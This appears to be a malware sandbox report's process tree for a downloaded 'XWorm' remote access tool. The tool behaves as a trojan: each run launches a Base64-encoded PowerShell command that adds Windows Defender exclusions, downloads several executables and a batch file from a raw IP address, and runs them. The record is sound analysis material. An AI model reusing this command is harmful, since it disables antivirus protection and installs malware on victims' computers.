"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --mojo-platform-channel-handle=1496 --field-trial-handle=1836,i,2362207085483967022,11369997473441801914,131072 /prefetch:1
2⤵
PID:3772

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.15063.0 --gpu-preferences=UAAAAAAAAADoAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=4604 --field-trial-handle=1836,i,2362207085483967022,11369997473441801914,131072 /prefetch:2
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:4896

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --mojo-platform-channel-handle=3936 --field-trial-handle=1836,i,2362207085483967022,11369997473441801914,131072 /prefetch:1
2⤵
PID:2240

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3052 --field-trial-handle=1836,i,2362207085483967022,11369997473441801914,131072 /prefetch:8
2⤵
PID:2400

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3052 --field-trial-handle=1836,i,2362207085483967022,11369997473441801914,131072 /prefetch:8
2⤵
PID:2568

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5444 --field-trial-handle=1836,i,2362207085483967022,11369997473441801914,131072 /prefetch:8
2⤵
PID:1436

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4568 --field-trial-handle=1836,i,2362207085483967022,11369997473441801914,131072 /prefetch:8
2⤵
PID:4992

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5416 --field-trial-handle=1836,i,2362207085483967022,11369997473441801914,131072 /prefetch:8
2⤵
PID:1796

C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
1⤵
PID:4588

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:788

C:\Users\Admin\Downloads\XWorm-Remote-Access-Tool-main\XWorm-Remote-Access-Tool-main\xworm.exe
"C:\Users\Admin\Downloads\XWorm-Remote-Access-Tool-main\XWorm-Remote-Access-Tool-main\xworm.exe"
1⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
PID:1112

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
2⤵
- System Location Discovery: System Language Discovery
PID:4972

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHcAeQBsACMAPgBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAIgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAHYAbQBtACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcASQBuAGoAZQBjAHQAaQBvAG4AIABlAHIAcgBvAHIAIQAgAEYAaQBsAGUAIABtAHUAcwB0ACAAYgBlACAAcwB0AGEAcgB0AGUAZAAgAGEAcwAgAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAIQAnACwAJwAnACwAJwBPAEsAJwAsACcARQByAHIAbwByACcAKQA8ACMAYwB1AGsAIwA+ADsAIgA7ADwAIwBsAG0AbQAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGcAcQBsACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGUAZABrACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHgAegB5ACMAPgA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AMQA4ADUALgAyADAAOQAuADEANgAwAC4ANwAwAC8AWQBlAGwAbABvAHcALgBlAHgAZQAnACwAIAA8ACMAdgBqAGoAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwB6AGMAcAAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB1AGIAZAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBMAGkAYwBnAGUAdAAuAGUAeABlACcAKQApADwAIwB3AGwAZgAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AMQA4ADUALgAyADAAOQAuADEANgAwAC4ANwAwAC8AYQB2AGQAaQBzAGEAYgBsAGUALgBiAGEAdAAnACwAIAA8ACMAZAB3AGgAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBjAGQAcwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB5AGwAdAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBBAHYAZABpAHMALgBiAGEAdAAnACkAKQA8ACMAcABmAG0AIwA+ADsAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwADoALwAvADEAOAA1AC4AMgAwADkALgAxADYAMAAuADcAMAAvAEwAaQBjAGUAbgBzAGUAQwBoAGUAYwBrAGUAcgAuAGUAeABlACcALAAgADwAIwBiAHMAbAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHcAdgBzACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHMAYQB3ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEwAaQBjAGUAbgBjAGUAQwBoAGUAYwBrAC4AZQB4AGUAJwApACkAPAAjAHEAdQBzACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwAxADgANQAuADIAMAA5AC4AMQA2ADAALgA3ADAALwBQAEwAVgAuAGUAeABlACcALAAgADwAIwBrAGcAZwAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHMAagB2ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAYgBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFAATABUAGUAcwB0AC4AZQB4AGUAJwApACkAPAAjAGEAaQBsACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGYAeQBqACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB4AHEAbQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBMAGkAYwBnAGUAdAAuAGUAeABlACcAKQA8ACMAcwB2AGYAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAdgBkAHEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAZwBsACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEEAdgBkAGkAcwAuAGIAYQB0ACcAKQA8ACMAagBpAHgAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAaQByAG4AIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGIAdwB6ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEwAaQBjAGUAbgBjAGUAQwBoAGUAYwBrAC4AZQB4AGUAJwApADwAIwB4AHcAcQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBpAGMAZAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdwBnAGgAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUABMAFQAZQBzAHQALgBlAHgAZQAnACkAPAAjAHoAZgBsACMAPgA="
3⤵
- Blocklisted process makes network request
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:1952

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-Type -AssemblyName System.Windows.Forms;<#vmm#>[System.Windows.Forms.MessageBox]::Show('Injection error! File must be started as Administrator!','','OK','Error')<#cuk#>;
4⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:3100

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1112 -s 216
2⤵
- Program crash
PID:3768

C:\Users\Admin\Downloads\XWorm-Remote-Access-Tool-main\XWorm-Remote-Access-Tool-main\xworm.exe
"C:\Users\Admin\Downloads\XWorm-Remote-Access-Tool-main\XWorm-Remote-Access-Tool-main\xworm.exe"
1⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
PID:1376

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
2⤵
- System Location Discovery: System Language Discovery
PID:4876

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHcAeQBsACMAPgBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAIgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAHYAbQBtACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcASQBuAGoAZQBjAHQAaQBvAG4AIABlAHIAcgBvAHIAIQAgAEYAaQBsAGUAIABtAHUAcwB0ACAAYgBlACAAcwB0AGEAcgB0AGUAZAAgAGEAcwAgAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAIQAnACwAJwAnACwAJwBPAEsAJwAsACcARQByAHIAbwByACcAKQA8ACMAYwB1AGsAIwA+ADsAIgA7ADwAIwBsAG0AbQAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGcAcQBsACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGUAZABrACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHgAegB5ACMAPgA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AMQA4ADUALgAyADAAOQAuADEANgAwAC4ANwAwAC8AWQBlAGwAbABvAHcALgBlAHgAZQAnACwAIAA8ACMAdgBqAGoAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwB6AGMAcAAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB1AGIAZAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBMAGkAYwBnAGUAdAAuAGUAeABlACcAKQApADwAIwB3AGwAZgAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AMQA4ADUALgAyADAAOQAuADEANgAwAC4ANwAwAC8AYQB2AGQAaQBzAGEAYgBsAGUALgBiAGEAdAAnACwAIAA8ACMAZAB3AGgAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBjAGQAcwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB5AGwAdAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBBAHYAZABpAHMALgBiAGEAdAAnACkAKQA8ACMAcABmAG0AIwA+ADsAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwADoALwAvADEAOAA1AC4AMgAwADkALgAxADYAMAAuADcAMAAvAEwAaQBjAGUAbgBzAGUAQwBoAGUAYwBrAGUAcgAuAGUAeABlACcALAAgADwAIwBiAHMAbAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHcAdgBzACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHMAYQB3ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEwAaQBjAGUAbgBjAGUAQwBoAGUAYwBrAC4AZQB4AGUAJwApACkAPAAjAHEAdQBzACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwAxADgANQAuADIAMAA5AC4AMQA2ADAALgA3ADAALwBQAEwAVgAuAGUAeABlACcALAAgADwAIwBrAGcAZwAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHMAagB2ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAYgBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFAATABUAGUAcwB0AC4AZQB4AGUAJwApACkAPAAjAGEAaQBsACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGYAeQBqACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB4AHEAbQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBMAGkAYwBnAGUAdAAuAGUAeABlACcAKQA8ACMAcwB2AGYAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAdgBkAHEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAZwBsACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEEAdgBkAGkAcwAuAGIAYQB0ACcAKQA8ACMAagBpAHgAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAaQByAG4AIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGIAdwB6ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEwAaQBjAGUAbgBjAGUAQwBoAGUAYwBrAC4AZQB4AGUAJwApADwAIwB4AHcAcQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBpAGMAZAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdwBnAGgAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUABMAFQAZQBzAHQALgBlAHgAZQAnACkAPAAjAHoAZgBsACMAPgA="
3⤵
- Blocklisted process makes network request
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:496

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-Type -AssemblyName System.Windows.Forms;<#vmm#>[System.Windows.Forms.MessageBox]::Show('Injection error! File must be started as Administrator!','','OK','Error')<#cuk#>;
4⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:3984

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1376 -s 212
2⤵
- Program crash
PID:2856

C:\Users\Admin\Downloads\XWorm-Remote-Access-Tool-main\XWorm-Remote-Access-Tool-main\xworm.exe
"C:\Users\Admin\Downloads\XWorm-Remote-Access-Tool-main\XWorm-Remote-Access-Tool-main\xworm.exe"
1⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
PID:1700

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
2⤵
- System Location Discovery: System Language Discovery
PID:1460

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHcAeQBsACMAPgBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAIgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAHYAbQBtACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcASQBuAGoAZQBjAHQAaQBvAG4AIABlAHIAcgBvAHIAIQAgAEYAaQBsAGUAIABtAHUAcwB0ACAAYgBlACAAcwB0AGEAcgB0AGUAZAAgAGEAcwAgAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAIQAnACwAJwAnACwAJwBPAEsAJwAsACcARQByAHIAbwByACcAKQA8ACMAYwB1AGsAIwA+ADsAIgA7ADwAIwBsAG0AbQAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGcAcQBsACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGUAZABrACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHgAegB5ACMAPgA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AMQA4ADUALgAyADAAOQAuADEANgAwAC4ANwAwAC8AWQBlAGwAbABvAHcALgBlAHgAZQAnACwAIAA8ACMAdgBqAGoAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwB6AGMAcAAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB1AGIAZAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBMAGkAYwBnAGUAdAAuAGUAeABlACcAKQApADwAIwB3AGwAZgAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AMQA4ADUALgAyADAAOQAuADEANgAwAC4ANwAwAC8AYQB2AGQAaQBzAGEAYgBsAGUALgBiAGEAdAAnACwAIAA8ACMAZAB3AGgAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBjAGQAcwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB5AGwAdAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBBAHYAZABpAHMALgBiAGEAdAAnACkAKQA8ACMAcABmAG0AIwA+ADsAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwADoALwAvADEAOAA1AC4AMgAwADkALgAxADYAMAAuADcAMAAvAEwAaQBjAGUAbgBzAGUAQwBoAGUAYwBrAGUAcgAuAGUAeABlACcALAAgADwAIwBiAHMAbAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHcAdgBzACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHMAYQB3ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEwAaQBjAGUAbgBjAGUAQwBoAGUAYwBrAC4AZQB4AGUAJwApACkAPAAjAHEAdQBzACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwAxADgANQAuADIAMAA5AC4AMQA2ADAALgA3ADAALwBQAEwAVgAuAGUAeABlACcALAAgADwAIwBrAGcAZwAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHMAagB2ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAYgBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFAATABUAGUAcwB0AC4AZQB4AGUAJwApACkAPAAjAGEAaQBsACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGYAeQBqACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB4AHEAbQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBMAGkAYwBnAGUAdAAuAGUAeABlACcAKQA8ACMAcwB2AGYAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAdgBkAHEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAZwBsACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEEAdgBkAGkAcwAuAGIAYQB0ACcAKQA8ACMAagBpAHgAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAaQByAG4AIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGIAdwB6ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEwAaQBjAGUAbgBjAGUAQwBoAGUAYwBrAC4AZQB4AGUAJwApADwAIwB4AHcAcQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBpAGMAZAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdwBnAGgAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUABMAFQAZQBzAHQALgBlAHgAZQAnACkAPAAjAHoAZgBsACMAPgA="
3⤵
- Blocklisted process makes network request
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:3312

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-Type -AssemblyName System.Windows.Forms;<#vmm#>[System.Windows.Forms.MessageBox]::Show('Injection error! File must be started as Administrator!','','OK','Error')<#cuk#>;
4⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:3768

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1700 -s 180
2⤵
- Program crash
PID:4208

C:\Users\Admin\Downloads\XWorm-Rat-Remote-Administration-Tool--main\XWorm-Rat-Remote-Administration-Tool--main\XWormUI.exe
"C:\Users\Admin\Downloads\XWorm-Rat-Remote-Administration-Tool--main\XWorm-Rat-Remote-Administration-Tool--main\XWormUI.exe"
1⤵
PID:1372

C:\Users\Admin\Downloads\XWorm-Rat-Remote-Administration-Tool--main\XWorm-Rat-Remote-Administration-Tool--main\XHVNC.exe
